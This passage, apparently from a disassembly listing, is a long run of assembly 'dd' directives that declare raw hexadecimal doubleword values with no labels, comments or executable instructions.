		dd 77CDA5CAh, 1409C83h,	5BD23BD0h, 44007FEDh, 0B5825296h
		dd 0A2EB4B2Bh, 0A8D900F8h, 0E153AD1Ah, 44EA5Bh,	80979661h
		dd 161B8F34h, 0B35A3D00h, 8B58F31Dh, 7F8D0082h,	0B594D93Ah
		dd 0F0018E3h, 231E78D0h, 9014AE4Fh, 0C02D1774h,	63242902h
		dd 302EA2D4h, 4F7EAE52h, 154B349h, 5BD1B080h, 9D004B59h
		dd 70593A43h, 504C4C50h, 84948074h, 0E4E44525h,	0D0EA608Ch
		dd 8A483E2Eh, 0DC73585h, 13F092ECh, 0B7A74456h,	246200E8h
		dd 35B7797Dh, 0E361D712h, 52B9E021h, 8873BC23h,	4E014439h
		dd 0F73578CCh, 184184D5h, 0BE004909h, 4A26520Fh, 84264631h
		dd 0CE8EC380h, 0B878CFE9h, 8D952750h, 29591C23h, 0D741C004h
		dd 0BCE99826h, 0C1059FB2h, 183C648Ch, 68A36F89h, 59144DC7h
		dd 7F46950h, 5DF114Bh, 200F4547h, 0CE36C0E6h, 3DD72EB5h
		dd 64DC9D00h, 0D32AEEE8h, 0CA0F84A0h, 48BF46h, 15F48085h
		dd 0A9870469h, 314BA41Ch, 16805AD4h, 0C0322BD5h, 441220C0h
		dd 8B494DC3h, 204A26D4h, 71A5D851h, 1991C817h, 0C165F981h
		dd 3BC8845Eh, 11524454h, 86232CD4h, 0D0381300h,	86B30235h
		dd 0EB7D10EFh, 2A300037h, 9B73819Eh, 175CDABCh,	0DF7914FCh
		dd 0F3BD8EF8h, 28D4F032h, 9EC308C8h, 181D942Ch,	1519121h
		dd 59507648h, 8C5A7022h, 0F3FA922h, 2A1CD1DDh, 1435AC88h
		dd 4824A1CFh, 0C85F6510h, 121293CAh, 1010E2A6h,	0AEC8DBB8h
		dd 543140B1h, 8688D50Ch, 0F10993Eh, 9DFF6836h, 0C868E5AFh
		dd 465E815Bh, 0B125204Fh, 8B34127Dh, 108C3FD3h,	5596D949h
		dd 0A3108CB4h, 2287BC97h, 2B116BDEh, 0B02347D7h, 93412783h
		dd 0D08800A5h, 62FE062Dh, 329835Ah, 72C2C86Eh, 50C1225Fh
		dd 0FD787620h, 0B088D25Ch, 8140A93Ch, 0B702FF3Ch, 0A3DFB485h
		dd 30A3E2E8h, 4B16CD88h, 70916219h, 76022E35h, 0A77880Fh
		dd 49FCCB45h, 0B422A87Ch, 1D8839FBh, 0A7802EF7h, 0DAE19D55h
		dd 80EE0034h, 0F3F9B43Fh, 702EB29h, 58745E18h, 0C4084861h
		dd 5ED09616h, 80B99E21h, 0DC62C063h, 10974429h,	0E01A390h
		dd 0D50308E7h, 0C9138E20h, 94B69CAEh, 0D9C87080h, 5650E4h
		dd 0AFDF58ABh, 0F2FA3476h, 5F137D75h, 0FC6BD014h, 0E0001123h
		dd 0C0AB93DFh, 4B160061h, 0C5C6072Bh, 0DCA0ACEBh, 90B0BDC3h
		dd 0DE0FC446h, 8AC8C57Dh, 1B4F2DC4h, 3550429Fh,	0A0627FFAh
		dd 0A01475h, 0C3D6A1E5h, 0EA6A668Ch, 8C1C700h, 0C5CC0CDCh
		dd 3EF40B5Bh, 0C6871CBh, 6A002CD4h, 253C878h, 767FE3EDh
		dd 438201ABh, 16C0B131h, 9800942h, 34C9A6CDh, 0CCA8CB8Eh
		dd 330C5224h, 59846FB6h, 711B003Eh, 6B6A0191h, 0B200203Fh
		dd 1FD27EFCh, 4EC8C50Bh, 450C8CCh, 0B6F72430h, 6457511h
		dd 14C6CFA6h, 6F5061D2h, 12002370h, 43CBC5A7h, 0D2C697h
		dd 0A9F781FAh, 38D3A5F8h, 0CD55F009h, 0ECE4054Eh, 2CB084A6h
		dd 0C305BD29h, 1C5F6207h, 37870C1h, 3DBF1F00h, 0DA4EFA00h
		dd 155B7C2Ah, 48509A4Ch, 5048CEAFh, 0F817162Fh,	6D809191h
		dd 0D2AAA590h, 822F753Bh, 0F7413A83h, 0F91CEAE9h, 602B00F4h
		dd 79A74EBFh, 0B5520300h, 0B55C182h, 0CFA8C906h, 50DB0C84h
		dd 0DCD1C0A0h, 71D2A5F7h, 9ECD4854h, 9DC6790Fh,	6C0EDA0h
		dd 0D712EE2Eh, 0F4808D5Bh, 4B8BC1C3h, 23AC2FD5h, 75D70004h
		dd 17A4A80Eh, 81F73C00h, 0B7ECB5E4h, 37DB00CCh,	9EBB14E7h
		dd 0D001CE22h, 7AB23C87h, 0B180906Fh, 0CDA30B5Eh, 0A60F1DDFh
		dd 20267B12h, 1449B1D6h, 0FE4B01BEh, 35C16327h,	45862AFh
		dd 7E6D60AEh, 0CB6BBF03h, 0D70533D8h, 94DA1E4Bh, 0C62CC4C0h
		dd 1E24C53Eh, 1811DCBBh, 0D17E1A80h, 0DC5BEAC3h, 31F4028h
		dd 6457E16h, 5900DA72h,	87868B96h, 2F7C0Dh, 33013153h
		dd 4367B5CBh, 0A59F539h, 0BCDD4AC2h, 0EE808711h, 1A35D137h
		dd 38F63087h, 95055191h, 1CD37A3h, 848E9465h, 0ADC01188h
		dd 54DC74h, 0C5431762h,	0F9E91C2Fh, 0A6D89503h,	88C3338Ch
		dd 9618CC35h, 364E0204h, 24E08305h, 0CA81E24Dh,	83576DE0h
		dd 0DB61F7E0h, 0C905E8B2h, 0A17A2302h, 30036CADh, 793CC8E1h
		dd 7C1972D0h, 8CE7F807h, 1E81C76Ah, 0CFF8D924h,	25CC12CEh
		dd 0F11C0040h, 82991437h, 0F6891002h, 0DBB74CE8h, 0D1077050h
		dd 2040CF5Ch, 4724A27Ah, 60A24428h, 2C0573CFh, 0A4F8B391h
		dd 0E00B13FEh, 56FE12D8h, 2E4CB8C0h, 0F8393Ch, 0FBDED71h
		dd 0CB0809D0h, 0F584F401h, 0C8DD030Ah, 0CC905FE2h, 3E007A2Fh
		dd 82963894h, 2A9B51h, 0B2FD327Eh, 37CA13EDh, 5FAFFC24h
		dd 0C5C7D300h, 2E6AA078h, 1CA81A4Fh, 0DC0EA0D1h, 0C6C14EB9h
		dd 9699DE4Bh, 0E43D2584h, 0AB09B800h, 5C1D2C3h,	0B7E7B198h
		dd 0B28C475h, 4491A314h, 0E8F0D866h, 5C0043FAh,	707F659Ch
		dd 1DE5DD6Bh, 0FE6C2056h, 5825C05Ch, 0BC59D8E2h, 3B188D79h
		dd 8002C34Fh, 626C454Dh, 0DC24DC44h, 65596407h,	40A73AB8h
		dd 3E82A400h, 7EB5037Ah, 0BA3C47A1h, 0C19E5105h, 0D8E0173Fh
		dd 0F59B01C3h, 0BF9112A2h, 17B879B0h, 0B4D2BEDFh, 0CA5C4B84h
		dd 3B90A045h, 6E1BB3h, 0DDF03137h, 0FABD4A97h, 98C42C0Eh
		dd 393F6181h, 508EB22Fh, 3A937C11h, 1807231Ch, 2BAEA4B8h
		dd 856D331Dh, 0CAEE2300h, 25F73B15h, 0D44484B1h, 9030D445h
		dd 49D74B94h, 0E02F34h,	37E2485Bh, 0A03E81C0h, 694113BDh
		dd 0A437E16Ah, 4DC38BBEh, 0D750E39Bh, 835C0549h, 0BDE0D8B1h
		dd 0D6703DBh, 0B67FA8C7h, 0F2D0A2F5h, 1CEB3053h, 5243F509h
		dd 351400C9h, 0B28CB5DFh, 75581030h, 5B94074Ah,	16C4B97Bh
		dd 0AA30E487h, 1EFF2B0Eh, 0C0145422h, 0E63EE76Fh, 0BF374DC0h
		dd 0FC4AB9DEh, 2C301317h, 101C39F1h, 0C07844EEh, 0B103A53Eh
		dd 7C649CBEh, 0F32F0A46h
		dd 348850A4h, 3AC24ECh,	0CCA2008Ch, 690A1EE6h, 0CE4C6CE8h
		dd 27651124h, 63137448h, 9808904Bh, 44846E11h, 0B826ED8Eh
		dd 15C0A4CBh, 46D210FBh, 0A12214h, 41FB1AB4h, 3A23D307h
		dd 9C0A22E4h, 0A03821B5h, 11FC1D27h, 39BB808Dh,	13CFEAFCh
		dd 0C758A94Bh, 0D8B972C8h, 70A838DCh, 0BB406BF4h, 0F4680ED1h
		dd 0C28014B3h, 9AF8C061h, 4A885248h, 225B9441h,	988919ECh
		dd 8010DD9Ch, 64838C0h,	0FC5224D4h, 0D8D03745h,	9C364834h
		dd 939D13C4h, 1CE07700h, 0FA1658D1h, 74CB1706h,	39C0A1C8h
		dd 12373B7h, 0B0AD0532h, 41B43ED9h, 8567C8h, 0AA4D5BCCh
		dd 0B1D86080h, 0F0F480D5h, 7C1D50B4h, 20C9020h,	0B789FC86h
		dd 4C42BA49h, 610028BFh, 0E0994E14h, 5A5C0191h,	0D344FE85h
		dd 397185E2h, 441F70F4h, 8B5A1911h, 0C7D8C858h,	0DFB5F25Eh
		dd 227DEFE2h, 146A98Ch,	42538E3Bh, 0C12220E4h, 0FC70A809h
		dd 41B44B00h, 493F96F7h, 36E864C3h, 0C0F25F28h,	802F69DFh
		dd 4A6CDB8Ch, 0B2123DF9h, 5A491704h, 5EB8A8FBh,	9CD8A0C8h
		dd 6B3940B8h, 0FA006A76h, 0F53DA6D2h, 0A51E23h,	538B6E70h
		dd 0E0FC907Bh, 0C400DCE0h, 1E83BE11h, 94B8DFC3h, 0C1DDC2Ch
		dd 13804F0Ah, 0AEF18014h, 4BD20C5Ch, 1649DE05h,	0FDD95260h
		dd 3AC7BF7Fh, 36004E07h, 0E3245893h, 3C02946Ch,	8A33BC96h
		dd 0AAE06335h, 0BF220019h, 89EECBEh, 0A1465Ch, 230D8C97h
		dd 7A8D9CCEh, 252D17A6h, 3380C17Bh, 22411060h, 70229780h
		dd 20565BE7h, 3024676h,	6ED18C3Eh, 2DD0C046h, 2014B008h
		dd 482F8D59h, 6CF09034h, 9E273E0Fh, 0E34C1081h,	7DC20A09h
		dd 0A2262F84h, 5683CCD0h, 0D1130790h, 0D5523415h, 0DAD08244h
		dd 0C9E64A02h, 0C184DEB0h, 8D06F80Fh, 6ADDE158h, 256928CCh
		dd 54C40A29h, 0D73510F3h, 0F826E389h, 0BFA5D308h, 588F9B3Eh
		dd 448B99h, 60350351h, 0DDCB7FF9h, 0B10796B0h, 3896929Dh
		dd 0D62019D1h, 0EBFAC7D1h, 0E63DA018h, 35487458h, 0F650B887h
		dd 0EFEAE0D4h, 73A40074h, 59776EDh, 0BB4ED01Fh,	6A1E4486h
		dd 2235126h, 42315BCFh,	8A06470h, 11253599h, 91201777h
		dd 0FCB880E2h, 4716BF2h, 78462728h, 0BCCCB8A1h,	0AB1C8C19h
		dd 0A0A5BE4Ch, 8D760614h, 0C3C904F9h, 810F36E8h, 0B8D124h
		dd 2C3113DCh, 0F1C927Ah, 1564D040h, 9012AAD4h, 40E740A6h
		dd 0D80AA27h, 85807E4Dh, 0ECD5EF89h, 30C8FCCBh,	8C46E2C0h
		dd 67911812h, 0E6FAB1ADh, 40010626h, 0A202605h,	0E25F68B0h
		dd 81A32512h, 147434E2h, 0F7C62FDCh, 1087A0C9h,	610B9912h
		dd 0FEA3804Ch, 147462C1h, 20785AF9h, 77182750h,	5264E0C7h
		dd 55182260h, 0F1D81600h, 5AE27F7Eh, 0B0635ACAh, 311010CCh
		dd 0C3048EE6h, 0D1B2D3C5h, 9B6233Ch, 3E2C422h, 6D658032h
		dd 26F78FCAh, 10087FDFh, 4977315Ch, 0A99F2915h,	5F8873Bh
		dd 0DB8A10ACh, 0BD00C75Eh, 0A4B439E3h, 58AD3FCBh, 0FD246C48h
		dd 198582D8h, 0F0DCC80Fh, 1015CF40h, 9104BC7Ah,	44A24A8Ch
		dd 99201500h, 858DD2A2h, 22EAB00h, 72F25642h, 64009863h
		dd 527FA043h, 25C5809h,	8B8CFE6Ch, 0E4884590h, 0AAF26054h
		dd 0F6320040h, 0F3398090h, 4B5BD1C7h, 641520D2h, 0CDB00FCh
		dd 0EEABA6E8h, 0D022CD1h, 9A935602h, 4428E751h,	701E60D5h
		dd 0C14D005Dh, 5A747BA6h, 9F31393Fh, 0BBD9D09Ch, 42AE8BAh
		dd 7097B5A4h, 0F0809E91h, 0A2C71D41h, 242B0200h, 5039830Eh
		dd 86A62EAAh, 184674BCh, 79DB4503h, 0D100BC6Eh,	0B83F5CFAh
		dd 2EBA844Eh, 2126476Ah, 185179C8h, 324EE3Ch, 0E888A12Fh
		dd 94CA386Ah, 465EECD6h, 2E1304DBh, 50A9BD0Ch, 0F5F6F700h
		dd 480BE4E2h, 0C253EB00h, 76F9C49Eh, 0CC7E1D65h, 24BC214h
		dd 0B449D518h, 4FF9BFA5h, 0D28C88h, 92C89313h, 84D35FC7h
		dd 17FD7700h, 639F161Eh, 0C838F55Ah, 0FA313C09h, 53C484E7h
		dd 98A33C60h, 0F10A550Bh, 2B6C6871h, 57E300D6h,	5F790ED4h
		dd 0DC7B65E5h, 3181F0A0h, 7B411413h, 0B0ED74B0h, 28F12664h
		dd 0A3C4069Ch, 9D0FC94Eh, 0C096AB6Ch, 77B4260Fh, 668D277Bh
		dd 0D711C468h, 54BCA80h, 0C163690Fh, 668481CEh,	64413ACBh
		dd 0B747E95Eh, 8F3AF4h,	46AFEA3Bh, 81075DAEh, 0F6037712h
		dd 0D2CF4203h, 13511873h, 85D391DEh, 0AB684309h, 47FC5483h
		dd 91096092h, 0BB37314Ah, 0C3C060D9h, 4BB0BFCAh, 0CC3002F9h
		dd 0B4F85A7Bh, 4BDF411Eh, 44C441E5h, 0F6FE108Fh, 0DEF71F31h
		dd 0D8F3EA53h, 816BCC04h, 1848E979h, 0B35926D9h, 1861606Dh
		dd 8534F6ABh, 5525A0B8h, 6354E29Bh, 0C8A0B510h,	9C2D12D9h
		dd 225CB2ABh, 9558B083h, 84418819h, 0BD5B78B9h,	64583CACh
		dd 0DB33EEE9h, 0AFDBF0CEh, 462D0C14h, 0C8849B4h, 0C215E042h
		dd 0F10EA837h, 0D3C04475h, 0A301983h, 0A61CA797h, 40C71648h
		dd 11B1D4A8h, 752583F8h, 20B8644Bh, 179DBD62h, 8FD891BCh
		dd 0C53BEEEBh, 0A2D043h, 167A0A10h, 8AC61C1h, 87B8C09Fh
		dd 0CA0296C7h, 89A3A1Eh, 510BF400h, 0A88457h, 8910BA5Eh
		dd 0B74D6345h, 4CBB224h, 11B89F2Fh, 508B8004h, 2FE6E14h
		dd 83D1CD54h, 0DCDA4C81h, 0BBF422C1h, 306E8AD3h, 8D13D110h
		dd 0E4508B9Fh, 388A0174h, 0AACABFD3h, 80682CC9h, 282A10A1h
		dd 4DD10065h, 683B6F3Dh, 0C20152B8h, 43D3EE8Dh,	0D02C4199h
		dd 85227780h, 141C1D40h, 55E5DA4h, 0B1C35003h, 0FD73B0DEh
		dd 868B2F7Ah, 0C439ACC4h, 904D914h, 53351CCh, 8C89974h
		dd 80DB480Fh, 0E61EDF84h, 0F6C2B284h, 0E0091C48h, 0F57B7809h
		dd 2DB47251h, 0D053DFCDh, 0C080EDA5h, 85565D11h, 7FB06C98h
		dd 0C0C8CE51h, 0D9DD94D8h, 0AEF0B501h, 0F4207898h, 646D4C33h
		dd 12533D10h, 64C8DC0Fh, 4B8D5F5Bh, 907AB0ECh, 465EC496h
		dd 8012099Ch, 46B900ADh, 25163DACh, 0E441D336h,	89401086h
		dd 0D83CFF2Fh, 15E353Dh, 7913C40h, 992030CEh, 465E0CBEh
		dd 660B719Fh, 84F2F34Dh, 12522958h, 710AD64h, 41CB9EF7h
		dd 4B3A8910h, 94C78277h, 0B5602E44h, 5A024C07h,	63D1ECFEh
		dd 1DE85EF5h, 9FCA8BC3h, 308B4441h, 4495CE78h, 0DFAD138Ch
		dd 0F004A481h, 9A20289Ah, 41DC16BCh, 0CEF8810Fh, 0F6E18076h
		dd 0C36C3446h, 8E3B3E19h, 0F232184Ch, 0D041E921h, 0C4F05009h
		dd 2C0967DBh, 0C446EF25h, 0B664226Ch, 3C8CE4B7h, 61A063CCh
		dd 0B32D1098h, 2E1C640Ah, 9268AE67h, 8F78206Eh,	0F500DD61h
		dd 1D476984h, 12E1017h,	85F62031h, 617A082Ch, 0C4886E95h
		dd 62D70068h, 9A18212Dh, 3F4E9105h, 0C711B881h,	15FA1450h
		dd 1EC8026Eh, 32899B8Ah, 83DFC892h, 8006C488h, 86EF2Fh
		dd 0C1680944h, 47157D9Bh, 4A0029D6h, 8B529F62h,	465602C8h
		dd 0B2027B27h, 120EA4C6h, 0DED7A344h, 0ECCB5B3Ch, 7C1A0C8h
		dd 0CDD4C008h, 22A4A679h, 0F7227B51h, 0F38A0AAh, 53244AA6h
		dd 0C2C49A58h, 516BFD16h, 4F551EBCh, 4BCA1D2Dh,	417E64F0h
		dd 3079CFD5h, 0DA10452Bh, 0E604841Fh, 0A42CE010h, 0A77F00E5h
		dd 12461458h, 8CBE4791h, 0A990A30Ch, 0E16313CEh, 7C7C9857h
		dd 17407740h, 4A149FDh,	5C8B194h, 0F0603586h, 0BD551551h
		dd 0E606844Eh, 4A97DF13h, 0B25E40E8h, 716B3388h, 8013B76Dh
		dd 0C7D320D0h, 919C17BFh, 2B3C802Dh, 3835B4D5h,	0A0D085DFh
		dd 4554BFEh, 0B291AE68h, 0C7E2240h, 4A16F117h, 0E53EFB49h
		dd 0A6DC0038h, 0D507846Bh
		dd 0C1640B98h, 3C608F4Dh, 0F1009D23h, 3349ED30h, 0F86A7h
		dd 0F54807F8h, 0F796FA3Fh, 9C90500Bh, 0CB949349h, 0B2914B21h
		dd 0C82216Ch, 4581428Fh, 28CCCA4Eh, 40AB4043h, 684FCB2Eh
		dd 9EE0701h, 7C60358Fh,	8CE149C2h, 85009B5Fh, 0A80044A7h
		dd 8C8A9012h, 43CB091h,	58A44A92h, 4F08F805h, 0B4AD2025h
		dd 0C539D1B8h, 2159886h, 1CA7CD19h, 65838912h, 54D970D9h
		dd 5B00B118h, 0B24A810Ah, 2232AFDh, 35C8596Dh, 0D8C845AFh
		dd 1E77B9DDh, 0D08CD24Fh, 10A0420Bh, 0C282AE08h, 0A0D6B453h
		dd 0DB7600F4h, 954CA95Eh, 499D413Fh, 886F065Ch,	0EA005C7Ch
		dd 150C23A8h, 48CF1FF5h, 4E00A08Eh, 442C4CEh, 3F09BC3Dh
		dd 7C2D2BE0h, 0F745C158h, 0B54997B7h, 0F223D030h, 0E0404B66h
		dd 45100248h, 0A0580314h, 6071CE25h, 69254700h,	5BA3C27h
		dd 89C76A35h, 8CF0253Eh, 18B16FB4h, 91DD0E00h, 0E9DDEFDh
		dd 40F2193h, 17C0D680h,	23054899h, 1470FFC2h, 0D2F423BBh
		dd 9039A2C8h, 0D41DC000h, 9C5EB709h, 840507E3h,	50DD3BB0h
		dd 50B3F4BEh, 0CE42FA18h, 3AEE079h, 2BDE2EEBh, 0B0D8EEC3h
		dd 0B413EC24h, 861639B6h, 0F8883012h, 1EAFF208h, 57FFF213h
		dd 0FD0604Fh, 29C152DBh, 60B075F1h, 1338A870h, 954BCD94h
		dd 6CAC010Ch, 0C0458714h, 0C104C646h, 0E391DF63h, 0B61088B2h
		dd 7013D672h, 64DDA0D1h, 0F9D0BF00h, 0F9C08F5Ch, 3A0CB8D9h
		dd 27A07700h, 7CD07D29h, 89FA0AEAh, 85AC4188h, 0FC134C16h
		dd 1837C300h, 7094A50Fh, 0E8C138ECh, 0CCE18E85h, 4A1E3D91h
		dd 884032B0h, 0D28F22FCh, 601894CEh, 61E55BD4h,	761000B1h
		dd 0A9509C2Eh, 182ED1D0h, 0A82B0779h, 5402611h,	3B148802h
		dd 25A5F712h, 0CF1E9CC8h, 7B04B339h, 5ABCFCA9h,	5C8248Bh
		dd 33D260CFh, 68F11BEh,	264F3845h, 0D0F0615Bh, 0BC84497h
		dd 734DC0EDh, 9C181C50h, 24285CD6h, 402F0B7h, 3801B810h
		dd 32FCC005h, 0E1B7D399h, 0C50B520h, 4223413Ch,	972848A4h
		dd 9B85880h, 75B12615h,	30467CA0h, 83707100h, 8FF46816h
		dd 31A01050h, 558908EBh, 8C2ED442h, 324AAE38h, 0D029B8F3h
		dd 1819D1A8h, 43CF0905h, 8840E402h, 0D72D242Bh,	0E94F1B7h
		dd 5DA11056h, 2E866D34h, 19E18CC0h, 0B6DE4B0Fh,	2245888h
		dd 0DF149125h, 0BFC45805h, 0C82FA810h, 54AF3600h, 6E3CEC49h
		dd 0A6310009h, 6CFCB633h, 0A17CFD58h, 842B39CFh, 2FEFDE93h
		dd 28E23A8h, 74F1E426h,	21008C51h, 19A6A9EBh, 6A610055h
		dd 4BF9FA9Eh, 0F7023439h, 0A20660CDh, 4060FCA4h, 943187B2h
		dd 5084C400h, 0F7063747h, 197A1DCBh, 446E00F3h,	4DE57B78h
		dd 5C344082h, 8D031383h, 2A2499C9h, 0E8003C6Ah,	0F49DA8C1h
		dd 10E4B24h, 0C96BBF95h, 0C0D4749Ch, 76CE58AEh,	7558428Ah
		dd 4C02E82Bh, 9C532h, 4FEDA990h, 25709879h, 0B01DB990h
		dd 8D809D91h, 4B70DF9Ah, 0F069C7Fh, 669F5CD0h, 993D02E1h
		dd 44B0C05Bh, 9740E07Eh, 186AE10h, 18D30D5Fh, 6FC14AA9h
		dd 62226422h, 0C25844B0h, 0BDF50AB0h, 172DE4D1h, 800291FCh
		dd 71E74255h, 33A40B91h, 4896D48h, 3CF458CAh, 0CF18A540h
		dd 7EE905ECh, 82F719h, 0FE52ABAFh, 6BF086EAh, 29AE503h
		dd 0C0B35A35h, 412B18h,	0BDF0CE43h, 9E99383h, 0C718C27Ah
		dd 0FFC87181h, 0D9DB3D74h, 664F2580h, 1CF64950h, 0E6389200h
		dd 313DDF17h, 44AB2D7Fh, 0C73318A0h, 0A4808E9Dh, 80D0B97Ch
		dd 3A8A3741h, 5E8276FEh, 816AC538h, 3C3D5B80h, 191C436Ch
		dd 0A530B53Ch, 4FB47464h, 2D60E16Ah, 0FBC027Ch,	0F2391249h
		dd 0C5C70B00h, 0F4704A89h, 1C664E5Bh, 6B0CB470h, 6490604Eh
		dd 2C0F520h, 0C1AF3875h, 64F6D425h, 0B7C8994h, 67DD52C3h
		dd 567B0C78h, 0E72C33A1h, 0FF972CE9h, 82199427h, 0D9B46C30h
		dd 708C5498h, 802FD095h, 240ABE70h, 136FB651h, 8A90DCA4h
		dd 465E18B4h, 383A0219h, 5EF755C1h, 31AF1708h, 207EF100h
		dd 0E5B8C1D7h, 0E000ECE2h, 0A45E7105h, 5C1379h,	753EFEB7h
		dd 48E53877h, 20060E30h, 0E6ABDD6Ch, 3E9100CCh,	0EE12A6A4h
		dd 0FCE88707h, 0E8FFE82Fh, 0BBF24Ch, 3BC6738Dh,	0E66E76B8h
		dd 8178101Eh, 928F1D40h, 620EFEh, 0DD17FD05h, 3483C519h
		dd 0E81CBD5Dh, 1BF909ACh, 2CDC1206h, 337100DCh,	707BB31Bh
		dd 9BEE326Dh, 0FBAD45E9h, 3EB8EC50h, 0E1F67EDDh, 0F6CBE200h
		dd 0CF1F083Eh, 0D7758C1h, 4C751054h, 45220847h,	0C8DACD00h
		dd 3B8A052Ch, 0BF78C6BCh, 90BF1059h, 2A0C428h, 476B0C0Bh
		dd 0D8AA944Ah, 28741524h, 4C4964A2h, 1284E5Ch, 6CBC79A3h
		dd 402F4847h, 91303494h, 29174C87h, 4CE8B737h, 4374CB2Eh
		dd 47C81F18h, 40A7F50Bh, 44FE8E85h, 0CE8E64ECh,	0C1CC81DEh
		dd 0FC53DE9Fh, 91C65C23h, 7BF8E6A3h, 23B491B6h,	3C8A703Ch
		dd 62A49854h, 4B763427h, 823022ECh, 86643485h, 0CFED002Fh
		dd 438FD3F1h, 0A3D00C68h, 8ED0B64Eh, 461E7400h,	0C1C8CACDh
		dd 48AF516Eh, 1223BC1Eh, 98DB0F61h, 883E9857h, 3B860971h
		dd 86BFB0EBh, 481838C8h, 7D71C037h, 0A6A9C8F0h,	0FC30242h
		dd 453F8F5Fh, 4A7C2057h, 0E1005BFDh, 6760E705h,	2185AEDh
		dd 0B4F05572h, 70401277h, 0FE047CA8h, 3A8675BDh, 1DD9D4E4h
		dd 5433B709h, 29DC20E0h, 789C09BCh, 0D34954D0h,	0E8814B9Ch
		dd 4EF99DD5h, 0D46324F0h, 4B0B1008h, 345CBCD3h,	3CDA4257h
		dd 0AD56EC60h, 7CFC08C4h, 4CEA7D03h, 88957EE1h,	81B6910h
		dd 0F2447CCh, 44621031h, 8CAFA101h, 18883A08h, 83262F2h
		dd 64C9A02Dh, 0CB108CD2h, 669408FAh, 8C851DEh, 372CFB20h
		dd 0DC30F1DBh, 48409161h, 102A620Bh, 0C203F03Ch, 0A3081851h
		dd 0A2611889h, 0C8F94380h, 770C7E39h, 40F408AAh, 2862323Dh
		dd 2627920h, 6C067DD5h,	0B54920C9h, 62B9B463h, 0A76120C7h
		dd 194B1033h, 9C0818B0h, 0E4E1200Bh, 11881181h,	0E90DC33Eh
		dd 0A6210810h, 1877188Ch, 0B0A8B208h, 8DDDD1Dh,	585AB9F1h
		dd 4AC7A03h, 2406ECCCh,	1C310837h, 758E28D7h, 8CFE8F01h
		dd 8935010h, 92E9C4DDh,	90F206D4h, 0E9976308h, 1010B735h
		dd 0BA33AE14h, 1119B8B9h, 0A220C196h, 0AEFFC51h, 14EBF01h
		dd 8881247h, 0F50DA905h, 8AFD2031h, 91FF3C01h, 76195610h
		dd 51A60894h, 88F381ECh, 38383608h, 0F49A320h, 0A4F01504h
		dd 0B19844B0h, 0E31FD1C4h, 109CB706h, 20EC1420h, 7262BC26h
		dd 3A84831h, 810785Bh, 18191117h, 88FF20B9h, 8513A29h
		dd 6512F021h, 4A7F5844h, 96978E04h, 6C201188h, 4988204Fh
		dd 20684020h, 620B9F4h,	0C6CB31A0h, 0A253C348h,	5B20AC61h
		dd 41A363D2h, 1018D53Dh, 508929Eh, 25EA83BEh, 0E129190Eh
		dd 7A3159B8h, 24B5208h,	0DE8A3FBh, 9D513180h, 88F8BD08h
		dd 12573740h, 551844F9h, 8F290436h, 0BD882C0Ah,	0E7186BB1h
		dd 0C1088CA5h, 927D18D9h, 0D84B54C0h, 0C4454060h, 0CA182D62h
		dd 305E03B5h, 0BC34102Ah, 848098F6h, 0C718CAEBh, 0DC149580h
		dd 71044F1Ah, 7F350048h, 24AF10C9h, 0C491C504h,	208826C2h
		dd 4E08BAE9h, 0C8AA153Eh, 20F5C119h, 0B198C65h,	0A98610DCh
		dd 834B8E8h, 32689A71h,	2A085C8Eh, 0D14BFCA4h, 3455AB44h
		dd 42808638h, 90A9805Ah, 830EB180h, 8C498CD2h, 17088203h
		dd 52A5E255h, 38180498h, 0BBF8C3EFh, 313000Fh, 0BFFBF7h
		dd 25907110h, 8D6C5C79h
		dd 0AB1D3504h, 0C4D057ACh, 39765F13h, 8E808FFDh, 440EF592h
		dd 7A026A05h, 595012B3h, 0B0B8C667h, 89660098h,	38A7052Dh
		dd 0F003E9E7h, 0F12B0A20h, 0A079A33Fh, 12E27CDh, 1168C2CFh
		dd 81C89F72h, 0A2F9DC40h, 0B8807FA5h, 45BCE637h, 61601ED3h
		dd 0ECCD2B20h, 153E0024h, 0BEB8E7AAh, 1B063F5Bh, 126A3CBh
		dd 97363938h, 0C4946B80h, 0E3C7F7D9h, 0FF28960Fh, 0A71820C6h
		dd 4CC11624h, 9A2D49AAh, 0CEB738A0h, 4E006AFFh,	43DBAE3Ah
		dd 7C9E726h, 14E6B80Bh,	0A3995056h, 30C236ACh, 55BAE4F4h
		dd 301560C0h, 1190EF60h, 1DDABCCCh, 18D4D212h, 5A3320B5h
		dd 0FA4AB302h, 0E8876E59h, 213448h, 51ED439Fh, 0D1DCEBC3h
		dd 1827A310h, 15F3AE03h, 5805E989h, 0E9438F0h, 7EDF4482h
		dd 152303F0h, 0C0071013h, 0D2056F5Bh, 1A66EC1h,	1D749840h
		dd 1099D85Ch, 7A00BA34h, 1516026Ch, 18DA85B2h, 2020F8A3h
		dd 14A9C84h, 0F496CC03h, 0C358284Bh, 0A5E5F194h, 9CB21194h
		dd 6413D06Bh, 0F67AEC0Bh, 0CB30487Ch, 0F8ACA4F1h, 0AD100F3h
		dd 97BD6F99h, 7060366Dh, 4D59C828h, 15300C4Fh, 49301F82h
		dd 40985351h, 0F9969C30h, 0D48C6490h, 0B884CC31h, 48001762h
		dd 55407E10h, 28EB0009h, 355AEE91h, 0FCBAF6A0h,	0CD9A2B14h
		dd 0D1ED09C8h, 284A88A1h, 0E50DF412h, 2C4204DDh, 5DA8A148h
		dd 746CC79Fh, 6E9BC200h, 869EADDAh, 0BB35C402h,	7E406Dh
		dd 0BDA3D9C7h, 1406149h, 0CC45BAA0h, 0F45002E4h, 3E8CF5EDh
		dd 0D00ACD13h, 0BEC83F3Eh, 73C44807h, 60E10C3h,	1A1D7AB2h
		dd 1B01A22Eh, 2B57151Ch, 5430D074h, 0A47DA83Ch,	5C1510B4h
		dd 84B52539h, 408813D0h, 0C18CF872h, 8A151828h,	423E0187h
		dd 6E20037Ah, 0A02AFAE4h, 4A2028C8h, 638D05A0h,	1AAC09Fh
		dd 0DDA3CAC0h, 0CE031Bh, 1A96C360h, 1E482A24h, 6CDB6F00h
		dd 0B6B8ABD7h, 6566309Ch, 0CB457550h, 0A01F264Eh, 68198818h
		dd 12249069h, 826BA382h, 5C523990h, 5348340Eh, 5BD820C1h
		dd 0A025C769h, 96308h, 8349D1D0h, 0B34AADDDh, 7AAAFA04h
		dd 0C81DCCCh, 0F700C1AFh, 361E47BAh, 8B00BB72h,	13F977F6h
		dd 24E076DDh, 8824D03Fh, 7010993h, 0F05615E5h, 0ADE9820h
		dd 0AE4D9F61h, 0D5261280h, 59C401A4h, 9FE0E3D0h, 0B00D898h
		dd 5499DB65h, 78391EBDh, 0D4F8C1FCh, 2B3DA5C0h,	88C8CA80h
